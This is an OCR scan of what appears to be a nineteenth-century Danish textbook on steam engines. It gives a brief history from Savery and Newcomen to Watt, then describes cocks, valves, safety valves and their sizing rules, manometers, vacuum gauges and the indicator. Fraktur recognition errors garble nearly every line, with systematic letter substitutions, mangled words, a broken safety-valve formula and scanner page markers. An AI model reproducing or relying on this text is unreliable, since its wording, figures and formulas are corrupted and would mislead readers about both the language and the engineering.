©teenfullene og forbruge# for bet mefte paa ginbefteberne.
Digitized by Google
Somjumiflineng Ubtufltng
(£n fort ^ijforijl Dserfigt oset ©ampmaffinen* HbBifling, bBorunber bra efterpaanben
osergif fra et jimpett, fun fot enfelte føiemeb tjmligi SRebffab, tit bet nusærenbe futb*
fomnere men titlige mere fammenfatte Slpparat, Bit tette Opfartetfen af ben mere betatt*
terebe Beffriselfe i bet golgenbe.
Øiaar og fjnor be forfte gorftag om at ansenbe ©ampen af fogenbe Banb fom ©ris*
fraft blese ffemfatte, laber fig iffe meb ©ifferbeb bcfiemme ; forjffcttige, mere etter minbte
upaatibelige Beretninger tjentaegge ©ampmaffinen* Obftnbetfe tit forjfjetlige Sanbc og
Berfoner. ©et forfte tjøroject, fom fom tit Ubforelfe, «ar (Inglcenberen Sanerp* ; ban*
Stpparat beftob af en tuffct ftjebte, bror i ©amp af betpbelig ©panbfraft ubsiflebe*, og
et Bumperor, tjoori Banbet bragte* til at ftige op Beb ©ampen* gorttetning og ftben
brese* Bibere seb ben* ©rpf umibbetbart paa Banbet* ©Berflabe. ©et brugte en SPioengbe
Brænbfet og formaaebe, uagtet ©ampen* ftore £rpf og ben bcraf ftpbenbe gare fot Jfjeb*
ten* ©prængning, iffe at bære Banbet tit nogen betpbelig $oibe. ■
(Sjenncm forffjellige Diobtficationcr af @aoerp* SHpparat fremforn tRemcomen*,
ber atterebe i jtn Birfemaabe nærmer jtg meget mere tit Bote noerBaerenbe ©ampmaffiner.
©et er ffi*feret i gig. 25 tptabe 1. A er Sfeblen, buorunber 3tben broenber paa en
SRij}; B et et fort fHor meb en ffran, bsotigjennem ©antpen fan flippe* inb i Ep»
tinberen D, D. ©enne er gtat ubboret og bur et ©tempel C, fom pa*fer lufttoct i
ben og fan besæge fig op og neb. C er reb fijælp af en ©tang E og en Jfjoebe for*
bunbet meb ©alancen F, til bsis anben, i giguten ubetabte Snbe ©umpefiangen er beftet
paa famme ©iaabe. ©et bete er Beb •fjjcelp af Btobsægter balanceret faatebe*, at naar ©amp
af Iibet mere enb atmofpbæriff ©pænbfraft gjennem Sfranen B flippe* inb i Eplinberen,
faa Siger ©templet opab tit ben CBre ®nbe og Bumpeftangen f pnter. Jfranen B luffe*
nu og Gptinberen affjete*, bsorneD ©ampen fortaette* ; bet er ba lufttomt 9lum (naften)
unber ©templet, og Sttmofpbocren* ©rpf paa Oserjiben briset bet neb, tofter attfaa
Bumpeftangen og ubforer Bumpningen. ©et Beb ©ampen* gortJtning bannebe Banb
aftappe* gjennem Srancn G. Beb en titfaelbig Cæffage i ©templet, fom for at ljolbe
teet bnBbe et Sag folbt Banb oser fig, opbagebe*, at gortætningen foregif meget hurtigere,
naar fotbt Banb inbfproitebe* i Splinberen, enb naar Stffjolingen foregif nbocnbig fra;
beraf fremforn ben enbnu brugelige UbBei tit at (Titte jtg af meb ©pcenbfraften boa ben
brttgte ©amp. SRcmeomen* Bfaffine rar farefri, ba ben fun brugte ©amp af tiben
©pænbfraft; ben gao atterebe betpbelig (tørre Birfning enb ©anerp*, og blcB temmelig
ubbrebt. ©en* Bæfentligfte røangel Bar, at Bannt Banb famlebe* i (Splinberen Beb b»ert
©tag, gaB, Beb at ubnifle ©amp, et Biøbtrpf unber Stemplet* tJtebgang og conbenferebi
en ©eel af ©ampen fra Sjeblen, naar ©templet igjen ffttlbe brise* opab. gor at bettc funbe
unbgaae*, maatte gortætningen foregaae ubenfor Kplinberen, i et færeget, luftet 9tum,
ber ftf 9?a»n af gortætteren (condensor). ©a benne efterpaanben bles futb af Banb
og af Suft, fom 3ubfproitning*Banbct mebforte, anbragte* tit at pumpe ben tæn* ra
Digitized by Google
10
fccregen (Pumpe, Suffpumpen, fom SiajTinen fei» bre». Dette »ar et (lort ©fribt fremab
til DampmafTinenS gorbebring; et anbet fremforn »eb at en Dreng, {mmpfirep Slinfer,
fanbt paa at binbe ©nore fra SfranetneS $aanbtag til be beoagelige Dele af (DtajTinen,
faalebeS at bisfe fei» aabnebe og luffebe Sfraneme i rette lib. Deraf fremforn Jap*
bommen, fom enbnu brugeS i (Bumpemaffiner til at aabne og luffe for Dampen. 3
ben faalebeS fremfomne gorm ftf SBaflinen 9to»n af ben atmofp^ceriffe Dampmaffine, forbi
Sltmofpljærenø Irpf »ar ben jfraft, fom ubførte Slrbeibet. Den bragte betpbelig minbre
iBroenbfel enb MetocomenS oprinbelige SItaffine, men beraeb, at Kplinberen »at aaben
o»entil, og faalebeS affjolebeS for b»ert ©lag af Staffinen, tabteø enbnu megen Damp.
Stian fanbt herfor paa at luffe Gplinbereit o»entil, flippe Damp inb o»eno»er ©templet
ogfaa, og labe benneS ©pcenbfraft trcebe ifiebetfor SltmofpbærenS. Denne Opfinbelfe,
Cpfinbelfen af gortcetteren og benS Suftpumpe, famt en Sioeffe af anbre gorbebringer
ffplbeS Snglctnberen 3anteS SBatt. gra panø Borffleb ubgif en Støngbe Dampmaffiner,
efterbannben fulbfomnere og fulbfomnere, faalebeS at ban »eb blot at betinge fig en
Drebtebeel af bet befparcbe Braitbfel fom (Paientafgift fnnbe famle en gormue. ®ng*
laenberne anfee berfor meb S Rette SBatt fom ben egentlige Opftnber af MutibenS Damp*
maffine. 3nbretningen af benne er i fine $o»ebtraf »iift i gig. 22. ©jennem et Mor
fra Sfjeblcn, l;»is ene ®nbe er oiifi »eb A, flippet Dampen inb i Bentilfasfen ; SBentilen
B er glibenbe, og flippet i ben ©tilling, b»ori ben er Biift i giguren. Dampen gjennera
Sfanalen DD inb oPentif i Splinberen; paa famrae lib (trommer ben bragte Damp fra
GplinberenS nebre Snbe gfennem Kanalen EE inb i BcntilenS (©libenS) fuling og berfta
sibere gfennem Kanalen FF inb i gortcetieren T; ber mober ben en©traale folbtBanb,
fom fra en JtaSfe, ber omgioer SSaffinenO nebre Deel og tjener fom Unberlag for
Stjlinberen, lommer inb gjennem SnbfPtøitningSfranen G; beraeb fortætte® Dampen, og
ber bli»er lufttomt Otiim (Bacum) unber ©templet. Dampens Irpf paa D»erfant af
©templet brioer nu bette neb. ©tempelgangen 00 folger ©templets Besagelfe og er
meb et Seb OR forbunben meb Balancen RR, fom bar fit Senter »eb X; BalancenS
anben ffinbe breier »eb $jælp af Strumtappen M SliajTinenS #o»ebajel, Ijpotfra Bcocegelfen
forplantes sibere »eb £jætp af lanbbjul etler paa anben Sliaabe, efter SefTaffenficben af
bet Strbeibe, b»ortil SSajfinenS Straft ffal anoenbeS. (paa Sljelen fibber ben ejcentriffe
©fi»e N, ber »eb $jalp af ©tangen X’ og BinfelPagtjtangen C besæget ©libeit. Staar
Gplinber(teraplet er fommet neb, »il ©liben ba»e inbtaget en faaban ©titling, tangere
oppe i BentilfaSfen, at Dampen gaaer inb nebeniit i Splinberen gjennem EE, mcbenS
ben Damp, fom Ijar breect ©templet neb, gaaer gjennem DD, ©libenS fuling og FF
til gortætteren, for at fortatteS; ber bli#er ba Damptrpf paa Unberfiben, Bacum paa
Coerfiben af ©templet, og bette gaaer opab, gorbinbelfeøftangen S nebab, og Strumtappen
fortfatter fin fflcoccgelfe gjennem ben anben $al»beet af Sirfelen, boorefter ben i giguren
»ifte ©tilling af Delene igjen inbtraber og et npt ©lag paabegpnbeS.
Da SBalancenS Snbepuncter beffrioe Buet, »ilbe Sebbet OR tvinge ©tempel*
flangen ub af fin rette ©tilling, berfom faabant iffe forijinbrebeS af Barallelogrammct
00', b»ig fjerne U af ©tangen QU ftpreS i en Sitfelbue, fom oenber mobfat Bet
mob ben af Balancen bejfreone. Den Besagelfe af Bmut 0, fom beraeb fremfommer,
er vel iffe noiagtig retliniet, men bog tiljtraffelig nar beraeb. H er Puftpumpen, fora
gjennem Bentilen h bolber gortatteren lans og afgi»er bet »arme Banb til StaSfen I,
fcsorfra ben porfte Deel af bet gaaer bort gjennem et SlfløbSror. ®n minbre Deel fores
af gobepumpen K tilbage til Sjeblen, §»or bet erpaiter bet »eb gorbampningen forbragte
igle
11
Banb. L et en anben Bumpe, fom forfinet kolboanb*fa*fen rneb (otbt Banb fea en
Brønb etler anbet Kefersotr. ©tængerne fra K og L ere forenebe til Batancen meb
Seb, ber banne et BaraleHogram og jlpre* af en ©tprejlang, paa famme Biaabe fora
©tempeljlangerne fra Splinber og Sufipumpe. Baa 9tjelen anbringe* i Stlminbeligfjeb
et ©oingpjul, fom Bebligepotber Beoagelfen i be to ®iebliffe, ba ©templet er øserjl og
neberft, krumtappen altfaa i famme Stinte fom gorbinbelfeaflangen og uben kraft til at
breie Sljelen runbt. 3 Biaffiner af bet beffreone ©laga fremfommer ben fterfte Deel af
Birlningen oeb Dampen* goriatning, ligeban fom i be atmofpbærijfe Btajfiner; be funne
berfor, ligefom bi*fe, bruge Damp af ringe ©panbigpeb, og falte* Saotrpf* eder con«
benferenbe Biaffiner. Omtrent famtibig meb bem uboiflebe* $øitrpf*maffineme. Danfe
oi o* Dampen* ©pctnbigbeb i kjeblen forøget meb een 2ttmofppare, faa ubfommer famme
beoagenbe kraft po* ©templet fom før, om man iflebetfor at lebe ben brugte Damp til
gortatteren, flippet ben ub i fiuften; benne ubøoer nemlig ba et Btobtrpf ligt ben i
©pånbigpeben tiflagte Sltmofppare. Detpeb blioet Slpparatet for Jortet titingen ooerftøbigt.
3 bi«fe Biaffiner fotbinbe* i Sllminbeligpeb ©tempelftangen meb krumtappen oeb $jalp
af en gorbinb:lfe*ftang, pooroeb BaQancen bortfalber og SKajfinen blioer meget ftmpel.
Seb at bruge Damp af flere Sltmofpparer* £rpf fatte* man ifianb til at gjøre Splinberen
minbre meb Bibepolb af famme kraft. Bien #øitrpt*maflinerne bruge mere Btanbfel
og mebføre flørte gate for Spplofion enb be conbenferenbe; at man ogfaa oeb Sonfltuc»
tionen af kjebterne for flore #øitrpf«maffiner ftøber paa Banffeltgpeber, pil »ife fig i
bet gølgenbe,
3 ben fenete lib bruge* ppppigt Damp af temmelig flor ©panbfrafl i gor»
binbelfe meb gortatning ; man laber ba Dampen (tromme inb i Spliubeten fun unber en
Deel af ©laget, og unber ben eorige Deel Birte paa ©templet meb aftagenbe Jtpf,
ibet ben uboiber fig, ejpanberer. Bogen Sjpanjion benpttebe allerebe SBatt; ^omblomet
og SBoolf anoenbte famme Brincip i flørre Ubffrafning, ibet be lobe Dampen Birte fcrfl
i en minbre Splinber meb fulbt Drpf, og berpaa eppanbere i en flørre Splinber ; men
bere* Biaffiner Bare for fammenfaite til at blioe atminbelige. Bian anoenber nu for bet
mejte bet flørre Damptrpf og (Jjpanftonen i famme Gplinber, og fparer berocb noget
Btanbfel, men faaer flørre og tungere Biaffitier, ptilfet igjen i mange Dilfalbe opoeier
ben oeb ©jpanponen Bunbne gorbeel.
3(anb bruge* nu, pBor fun liben kraft ubforbre*, for bet mefle #øitrpf«maffintr,
men naar kraften ffal Bare flørre, conbenferenbe Blajfiner af ben foran beffreone
3nbretning. Jilføe* bruge* naflen ubelutfen.be conbenferenbe Biaffiner, for bet mefle meb
noget flarfere Damptrpf i kjeblen enb til be ælbre £aBtrpf*majfiner. Blangfolbige
Mfanbringer i Delene* Slnorbning og Blaffinen* DetaiUer pase Baret og ere i Brug;
ben Bigtigfle af bi*fe er ubentsiol Ubelabelfen af Batancen og ©tempelfiangen* gorbinbelfe
meb krumtappen, enten birecte eller oeb •fijoclp af en gorbinbelfeøjlang, poorBeb betpbelig
Blab* fpare*. ^øitrpfSmajfinen* Stnoenbelfe omborb par Baret forføgt i be ftbjle Star;
bet maa anfee* tBiolfomt, om be bemeb ounbne Bcfparelfer i Blab* og Bagt opoeie
Ulemperne. SRoterenbe Dampmajfiner, i poilfe Dampen umibbelbart frembragte Stpelen*
Ombreining, fare naret forføgte til forjfjetlige liber, men uben £elb.
Digitized by Google
oførftø dfapitfl.
traner, SScntilcr og ffontrolfl^oroter.
S 1. gorffjedige ©lags Sranet 03 SJSentilct til iReguleting at Dambenø og
SBanbetø (Sang gjennom SWaffinen forefommc i alle DamsmafFincr, og ffuUe bet beffrise*
unbereet, tidigemeb be Mebffaber, fom man betjener fig af fot at maale og eontroHere
Dambenø Jfraft, Sacum, ©altbolbigbeben b°* SBanbet i Sjebleme og SBanbftanben i bem.
$ 2. Den alminbelige Sfran (Sierbane, cock) er oiift i ©jennemfnit seb A,
gig. 9. Den bejtaaer af en eonifT Jab, forfinet meb et $aanbtag eder en girfant fot
©fruenegle fotosen og lufttaet inbpa«fet i en $t)lfe, gjennem boilten ben Hebning, fom
meb Sfranen ffal aabneø eUer luffe*, gaaer; fot bet mefte et ■fxjtfen ftøbt fcerfftlt og
forenet til ben 0 stige Deel af Hebningen meb citfelformige SRinge, bet falbe* glanger.
Stebentil er beit eoniffe Jab forfpnet meb en firfantet Deel, tjrorpaa en ‘JJlabe, B,
baøfer; bet nebenfot et en ©frue meb SWøttrif, fom fiolbet labben nebe. floengben af
©frue og girfant, famt af gullet fot ©jemtemgangen gjennem labben et faatebe* afbaøfet,
at nogen Jiljfnming fan finbe ©teb, efterbaanben fom Jab og #blfe flibe* ; SSlaben B
binbrer SRøttriffen i at ffrue fig til eder ob beb ffranens Dreining. Srealet af gullet
bøt ibetminbjte sette ligefaa ftort fom Slrcalet af ©jennemfnittet af ben ostige Deel af
Hebningen. Jilfbibøningcn af labben et gjerne en ©jettebeel af Hcrngben.
©tom .ftraner ftøbeø gjeme meb buul Jab. Ofte fjase be ogfaa flere $uder,
bsormeb be i forffjedige ©tidinget funne forbinbe forffjedige Hebningcr; faalebeø t. 6j.
ben firan, fom er siiji i ©jennemfnit lobret baa Jabben seb C, gig. 9. ©aabait fom
ben jtaaer, forbinbet ben ade tre Hebninger, D, E og F; breie* ben l /« Girfel i fJJilen*
fRetning, faa luffer ben D, men sebbliset at forbinbe E meb F; seb l U Dreining t
mobfat SRetning luffe* F, men D sebbliset at sæte fotbunben meb E; seb en fals
Dmbreining luffe* E, og gorbinbclfen gaaer ligefrem medern D og F. ©aabanne
jtraner ber baa girfanien for fRoglen base dRcrrfer, fom sife SRetningen af Slabningerne
t Jabben. Sfranen G, gig. 9, meb to frumme ©jennemgange, fat faaet Ofasn af
giregangObanen (four way cock) og btugcO ftunbom til at flibbe Damben inb i og
ub af Gtdinberen. ©aaban fom ben ftaaer forbinbet ben D meb K, I meb H ; breie*
ben Va ©ang, faa forbinbet ben D meb H, I meb K. 3 g<9- 24 et siiji en ®tatt
meb buul Jab og fun een Slabning baa ©iben; ben lebet fra ©iben 0 bab, faalebeø fom
<J3ilen sifet. ®n egen Srt Stran, baøfcnbe fot Rote SRorlebninget, er ben faafalbtc
Slabsentif, gig. 10. Det Serticale fRor C er crjlinbriff, og i bette sanbret ijiebetfor
Jab ®hbet V, ber er et ©tyffe af en Gblinbet, og seb $joelb af en girfant paaer
t gotbinbclfe meb en $ij[fe G baa ©tangen A. 3nbcni Jpnlfen er anbragt en ©biraO
fjeber, fom treffer Sfabet mob SRøret. A bar forneben et Hager E og gaaer fotosen
gjennem bet Bertifale IRørØ Haag. gor at bolbe toet ber et ben forfønet meb en S3af--
bøøftng F. jfaa Haaget er nemlig en $>t)lfe, b®°ri jjkfningølaaget H (®lanb) fan
breøfeø neb, enten seb $joe(b af ©fruegjoenger baa H feis og i $blfen, eder seb #jcelb
af feeregne ©fruer. 3 diummet medem Haag og {i^lfe fommet fJ3afningen, bejlaaenbe af
Digitized by Googl
13
#amp, SomutbSgam etler et anbet etafHjf ©tof. ©aaer ©øret C gjennem ©fibsfibeit
unber ©anbtinien, faa anbringes gjerne i bets nebre ©ecl en ©entil; Streten for ffllabet
er ba buul ; ©tangen, bsorseb ©entilen tofteS op tmob ftt ©«be, gaaer igjennem £uul«
beben og bar nof en ©afbøsfing »eb ben oore Gnbe. #enjigten permeb er, at bet ene
©iibbel til at luffe Stabningen ffat »«re i Sepotb, om bet anbet gaaer itu etter btioer utæt.
§ 3. ©en atminbetige coniffe SBentit, A gig. 11, par f*» ©enoesnelfe beraf,
at ben glabe, brormeb ben boiler i ©entilfaebet BB, er et fort ©tøffe af en temmelig
but Konus, ©etoe ©erøringSftaben gjoreS iffe brebere enb netop neboenbigt for nogen*
tunbe at mobftaae ©littage; fetboanlig 1 U å V» tomme. Ooentil og nebentil par
©entiten ©tørepinbe, forn beo«ge fig, meb libt ©pitterum, i #p(fer E og F, psoraf
ben neberfte gjerne er faji til Sentilfcrbet, ben oocrjte i £aaget ooer ffientilfasfen etter paa
anbet befoemt ©teb. ©aa ben oore ©tørepinb anbringes gjerne et Srpjt, C, forn binbter
©entiten t at tofte fig for bort. ©eb Konftruftionen af ©entilfabfen mcerfeS, at bet
ringformige ©urn, psorigjennem ©anbet etter ©ampen ffat paSfere forbi ©entilen, faaet
i bet minbjte famme Slreat fom Stabningen i SBentilfoebet, ber igjen iffe bør seere meget
minbre enb ©eetionen af fiebningen forøsrigt. SBentit og ©abe gjøres altib af SKctal,
ba 3ern silbe rufte fafl.
§ 4. ®n af be sigtigjte Stnsenbelfer af ©entiter er tit ©ifferpebø * ©entil
(safety valve) paa ©ampfjebfcr ; ben opfanbteS af ©r. ©apin, enbnu fet ©ampmaffiner
sate fomne i ©rug, og bar til £enfigt at flippe ©ampen ub, naar bens Irpf ooerftiger
en bejiemt ©terretfe. til ben Gnbe tajteS ©entilen, enten birecte, seb -gsjcelp af et
8ob, fom poenger i ben nebre ©tørepinb, faalebeS fom siift seb 0, gig. 17, etter seb
#j«fp af en ffioegtflang fom M, gig. 23, i boilfet tilfatbe ben faaer ©aon af ©ismer--
oentil. ©aar ©ampenS trpf paa ben nebre Sentitflabe ooerftiger ©etajtningen, faa aabner
©entiten fig af fig fet®, ©et er seb ©ifferpebSsentiler af Sigtigbeb, at SerøringSftaben
metlcm ©entil og ©abe er faa fmalfom muligt; tøi brebegtaber (tutte attib fun beetsiiS,
og beroeb blioer ©tørretfen af bet Streal, lioorpaa ©ampen oirfer naar ©entilen er tuftet,
ubeftemt. Slf benne ©runb conftruereS ©ifferpebSoentilen unbertiben meb ftab tlnberjibe,
bsilenbe paa en fmat, ringfonnig Jtant, faatebeS fom siift i ©jennemfnit og feet osenfra
i gig. 11 b. A et felse ©entiten, BB en ftølfc, f>oori ©entilen ftøreø tet op og
neb meb ct retsinflet (elter trearmet) JforS, C, C, C. ©enne ©tøring groer imiblertib
lettere fafl etter fommet i ©efneb enb ben fabsanlige eoniffe ©entil, og benne bmgeS
berfor mceft. ©iffcrbebésentiler meb palsfugleformig tlnberjibe, uben ©tøring, pase saret
forføgte, men be ere for oanffeligc at forfarbige meb fornøben ©øiagtigpeb.
©iameteren af en ©ifferpebSsentit maa sære faa flor, at ©ampen fan flippe ub
tigefaa purtigt fom ben ubsifleS. UbsiflingenS $urtigpeb beroer paa ©tørretfen af
JtjeblenS oppebebe ©serftabe — 31bflat>en — og UbftrømningenS £urtigpeb paa, psor*
meget ©ampenS Spambigpeb cr flerre enb SttmofppcerenS. ©absantig befiemmeS ©ianieteren
efter ben ©eget, at Jlbflaben i Ctsabratfob bisiberet meb ©amptrpffet oset ©traofppceren
i ©unb giser Cioabratct paa ©iameteren i Sommer. 3 granfrig er beftemt, at ©ianieteren
af en ©ifferpebSsentit ffat beregnes efter gormeten d = 2,6Vf n _^ tl ^ P*or d et ©ia=
meteren ubtrpft i Kentimetre, s Stbflaben t Etoabratmetre og n ©ampenS ©paenbigpeb,
ubhtøft i ©tmofppoerer ; oil man patte d i ©omnter, s i Osabratfob og ©amptrpffet
i ©unb oser SUmofppatra — p, faa blioer gormeten d = 1. 174 ©en
foran gione ftmptere ©eget lebet til temmelig nar famme ©efuttater fom gormeten, naar
:ed by Google
14
Damptrpffet er inbtn be fceboanlig brugefige ©roenbfer. Det et forpgtigji at anbringe
to ©ifferbebøoentiter for bet Jilfcrlbe, at ben ene ffulbc sære fnftruftet ; for at unbgaae
bette bor imibtertib enlioer ©ifferbebøsentil lib efter anben tofte* fra ©æbet.
§ 5. gorffjettige ©tagg ftabe ©entiter bruge* tit fiuftpiimperne ; be flutie ntob
en fmat, nøie ofrettet Sant paa ©cebtt, og fttjreø for bet mefie i fin ©eocegelfe af en
gjennem røibten gaaenbe ©tang, fora ofteji ©umpeng ©fempeljtang. D, gig. 37 ©labe
2, er ©jennemfnit af en faaban ©entil. Stapoentiler, forn E, b<>®e $aengfel paa ben
tne ©ibe og (lutte ligelebeø mob en fmal Sant; bete* ©eocegelfe begroenbfe* af en,
enten paa Stappen etter paa be omgioenbe Dele anbragt Snaft. Stnbringeø en Stapsentit
i noeften pertifat ©titting, faa glor ben* ©aegt hm tiben SKobjlanb raob Stabningen,
boitfet i raange Jitfcetbe er ønffetigt. 3 ^urtiggaaenbe ©taffiner maae ©entileme ogfaa
beucege (tg (mrtigt op og igjen, og fomme beroeb tit at flaae ntere etler rainbre oolbfomt.
Dette fan, naar Seniiten iffe ffal luffe for Damp etler fogijebt ©anb, unbgaae* oeb
©rugen af ©entiter af bet faafalbte puteaniferebe ©ibffetaber etter af ©eilbug. ffiibffe:
labergsentiferne ere be boietigfte, og ora Jitberebelfen, ber bejiaaer i en 3Wegnation
meb ©ooot, et Bet ubfort, bebotbe be ftn Søietigbeb i Sutben ogfaa, og pare temmetig
tange. ©ibffelaebetpfaben AA, gig. 12, boiler paa et riftformet Unbertag, og Søi*
ningen opab begroenbfe* af en gjennemboret frum©labe, B. B. ©tøttriften C bør iffe
tieeffeé for baarbt tit, ba ©taben berpeb frummer ftg meb Santeme opab. Sn ©labe
af fteerbobbett fammenfpet ©eitbug iftebetfor af ©ibjfetesber er jliPere, bsotber iffe faa
nøiagtig tat, men afgioer bog et gobt ©urrogat.
§ 6. Den fpjelbformebe SSentit, gig. 13, bruge* fun fora ©trubeoentil (TrotUe-
valve) til at regulere Dampen* Stbgang til ©tibefagfen. Deng ©abe er formet font et
©ipffe af en buulSugle, og ben breier (tg om en Stjel, fora, b» ot ben gaaer igjennem
©abet, er forfpnet meb ©afbø*fing. Deng pafenttigjle gorbeet er, at ben btioer ftaaenbe
i enbset ©titting, forn man gioer ben, og aabner ©jennemgangen mere etler minbre efter
©tittingen; men ben bolber i Sttminbetigbeb temmelig ufutbfomment tat. 9?aar man
iffe bef)øøer at tage $enfpn paa Srafieii tit at beoage ©trubeoentilen, et ©libeoentilen,
gig. 14, benftgtømaøfigere, ba ben fan (titte* nøiagtigere og ^otber tat, naar ben er
luffet. Stabningen er gjerne forbeett paa flere minbre a, a, a af rectangular gorm, cg
fetPe Sentiten bar tilfparenbe Dele, b, b, b. ©tangen, fom bepager ©entiten, gaaer
gjennem en ©afbøgjtng og brioeg, ba grictionen af Sentitptaben paa Unberlaget traser
enbeet Sraft, meb en Soegtjiang etler en ©frue.
De ©libeoentiter, etter fom be i Sttminbetigbeb fatbeø, ©tiber, fom brugeø tit
at regulere Dampen* ©ang til og fra Splinbercn, Bitte fiben btipe bejfreone. 3 famnte
fiiemeb bruge* paa enfette ttanbmaffiner ben i gig. 12, b oijie Dobbettfabe=Sentil.
Den bejtaaer af en Itptfe V, V, ber er coni|T oeb begge ©nbet, (lutter ooentit meb (in
inbre ©ibe mob ©taben BB og nebentit meb Ubfiben mob ©taben AA. ffieb $jaelp
af ©tangen E, fom meb Strme D er forbunben meb £plfen, fan benne løfte*, og
©jennemgang for Dampen i ©ilene* Metning aabneø. C, C er et Sorg, fom jtprer
$ptfen tet op og neb. ©teben* ber til at tøfle en beel coniff ©entil ooer Stabningen
AA, naar ber er Damptrpf paa ben ene ©ibe og Saeum paa ben anben, oilbe ubforbre*
en meget flor Sraft, nemlig tig gorjfjetten i Drpf paa (jd* Streatet af AA, fraser
Dobbeltfcebeoentilen fun en Sraft tig Irpffet paa fetoe ©erøtinggflaberne; men bet er
tn panjfetig ©ag at gjøre og bolbe ■jbptfen taet mob begge ©ctber paa eengang.
Dobbeltfcebe»Sentilen bruge* betfor iffe meget.
Digitized by Google
16
5 7. De Støøarater, fjsormeb man maater og con trollet et DamøenO ©øænbs
fraft, falbeS Manometre etlet ©øoenbfraftmaalere. gig. 1 oifer bet foeboanlige bctsert»
formebe Manometer for fiaotrtyfobamø. ABC et et Jernror, fom ocb A lan jfrueO
baa Jtjeblen; naat ber et 8uft eller Damo af SltmofpbærenS Srøf i benne, ftaaet Oøif*
foloet lige boit i begge ®rene, oeb fiinien DE; fot tøser lomme bet fltger i ben ene
©teen og falbet t ben anben, blioer $oibeforffjetlen to Sommer, bet foaret til 1 8"
Dampttøf pr. Ooabrattomme, forbi 2 ffubiftommer Ctsiffelo seier 1 fb. Delingen baa
©falen CF blioer berfor 1 Somme bt. tfunb. ipinben P, ber. tjener fom SSifer, er af
Sroee; ben« frie ©eooegeligtøeb bot jeonlig ørøoeo oeb at man treffer ben neb i Csif*
foloet, tøoorefier ben igjen ffal fiige raff oo.
St lignenbe Manometer for $øitrtøf«bamø, gig. 2, fan fun benyttes ilanb.
DoifføloetO ©tanb i Moret oifeO oaa ©talen AB af Sobbct C, fom næften tøolfcea i
fiigeooegt af et anbet £ob af Jern inboenbig i Moret. Det ftbfie maa sære faa meget
tungere, fom betøooeO for at oeeroinbe SribfenO griction, og btøffer onn ©runb af benne
Coersoegt libt neb i Cioiffølset. J^betfor tøæoertformebe Mot fan man ogfaa benytte
Manometre meb oiib Ooiffolobetøolber, og faaer ba bobbelt faa ftor Deling ona ©falen ;
bette jleer bog fun fjelbcn. Det bemoerfeO, at Ctoiffols oolofer al te anbre Metaller enb
3ern, og blioer beroeb felo ureent og trjfflljbenbe.
§. 8. Manometre, fom maale Srtøffet oeb #jælø af en Goiffotscolonne, tøose
ben gorbeel, at man altib meb fiettøeb fan unberføge, om be ere i Otben, og at oaere
fri for griction ; nten be blioe allerebe for et Damstrøf af 15 til 20 H temmelig lange,
og, naar ©fibet flingtet foaert, fan Damoeit, om Moret iffe er enbeel laengere enb Goif*
folocolonnen, oaa ©runb af benneO oeb ©fraatøeben forminbjfcbe SBaegt brioe ben ub af
Moret. gjeber*MAnometret, gig. 3, fomrner berfor i ben fenere Sib mere og mere i
©rug. Det bejtaaer af en boiet, buul MeOfingfieber BCD, meb ©ection fom S. Snben
B er aaben og jiaaer gjennem firanen A i gorbinbelfe meb Damorummet; Snben D er
luftet og jiaaer oeb fiebbet DE i gorbinbelfe meb en fort ©aegtfiang EF. DenneO Sljel
F bærer Oaa ben anben ©ibe af ©laben en ©ifer GH. ©tiger Srtøffet inboenbig i
gjebren, faa blæfer ben jtg ub til florre Støffelfe, blioer minbre frum og bcoæger ©iferen.
©falen fan ørcoeO oeb ©ammenligning meb et Goiffølsmanometer, ibet man nemlig
anbringer begge Manometre ona famrne Sljeble. gor at faae ftorre Jnbbeling laber man
unbertiben gjebrenO frie Snbe oirfe ona en fort ©ægtjiang, tøsiS anben Snbe bar et
©egrnent af ct Sanbbjul, fom griber i et Dreo onn ©iferenb Stjel; beroeb oo|taae r
imiblertib enbeel griction. gorjTjellige anbre Sonfiructioner af gjebermanometre ere
©rug; alle bor Sib efter anben ørøoéO, ba gjebrene oeb ©rugen unbertiben tabe i
©Oænbfraft. Slnbre ©ejfabigelfer oide i Stlminbelig^eb oife fig oeb at ©iferen iffe jiaaer
Ona Mul, naar bet iffe er Damptrtøf i gjebren.
§ 9. Suftmanometret, gig. 4, bejiaaet af et lurfet ©laOror meb tiltøorenbe
Cøiffølsbetøolber; foruben OsiffolccolonnenO ffiægt øirfer ben inbefluttebe SuftO Srøf,
ber jliget oeb ©ammentrofningen og Semøeraturen, til at tøolbe fiigeoægt meb Damø»
trtøffet. ©falen blioer fom golge beraf iffe ligebelig, men (iærft afiagenbe oøab. Dette
Manometer brugeO tibet, beelO øaa ©runb af ©laOroretO Sfrobeligbeb, beelo forbi ben
inbefluttebe SuftO Semøeratur oeb Sufttraef og beOlige fan blioe forffjeHig fra ben oeb
©falenO Deling øaaregnebe, tøøoroeb 3n(irumentet fomrner til at oife urigtigt.
§ 10. ©aeuumetret, gig. 5, brttgeO til at maale Mobtrtøffet i gortætteren.
Moret AB er lufttaet inbfittet i 3nbfatningen BC, fom gjennem ftranen D jiaaer
Digitized by Google
16
gorbinbetfe meb gortoetteren ; tnbeni AB, poor ber attfaa ril eoere famme ®rab af Sompeb
fom i gortatteren fei», er et fort ©arometer EF, (uffet 03 futbftanbig lufttomt i ben
orre @nbe. 25 at 23acum t gortatteren fulbjtanbigt, faa tilbe CLpiffoloct i begge ©rene
af EF jiaae tige pcit, ecb 30 paa ©falen ; for boert S" ©Jobtrpt (tiger bet 2 Sommer
i ben Iuffebe ©rcen ; bet oifcr i Sttminbeligpeb, naar gortoctningen et i Orben, paa 26
å 27 Sommer. 23 eb ©rugen af Sacuumetret paafteO, at ben Iuffebe Snbe iffe Pifer
nogen Suftblare, naar Coifføteet er tjeett oppe. ©lan bruget ogfaa ©aromctre af fuib
ficengbe, pois orre (tnbe ftaaer i gorbinbetfe rntb gortatteren, og poori altfaa Coiffoloet
(tiger, efterfom Srpffet i gortatteren lager af; be ere imiblertib oanffetige at polbe rene
og i Crben. gjebetmanometre funne inbretteO tit at maate ffiacum i gortoetteren ogfaa,
men be ere poerfcn faa beqoemme eder paaiibelige fom bet ferjt bejfreone 3 nfhument.
§ 11 . 3 »bicatoren, gig. 6 , er naermeji befiemt til at maate bet foranbcrlige
©amptrpf i en ©JaffineS Splinber, men fan briige* baabe fom ©Janometer og ©acuus
meter. 3 Gplinbcren AB, fom gjennem D ftaaer i gorbinbetfe meb ©Jajfincng ©ptinber,
Panbrer ©temptet C meb ben minbjt mulige griction; futbftanbig Satpeb er iffe uøboenbig,
og ©temptet pur berfor ingen ©afning. ©tempetflongen CE par et £oocb E, fom
ftprer ben t ben forloengebe Splinber, og mellem E og F et anbragt en ©piralfjeber,
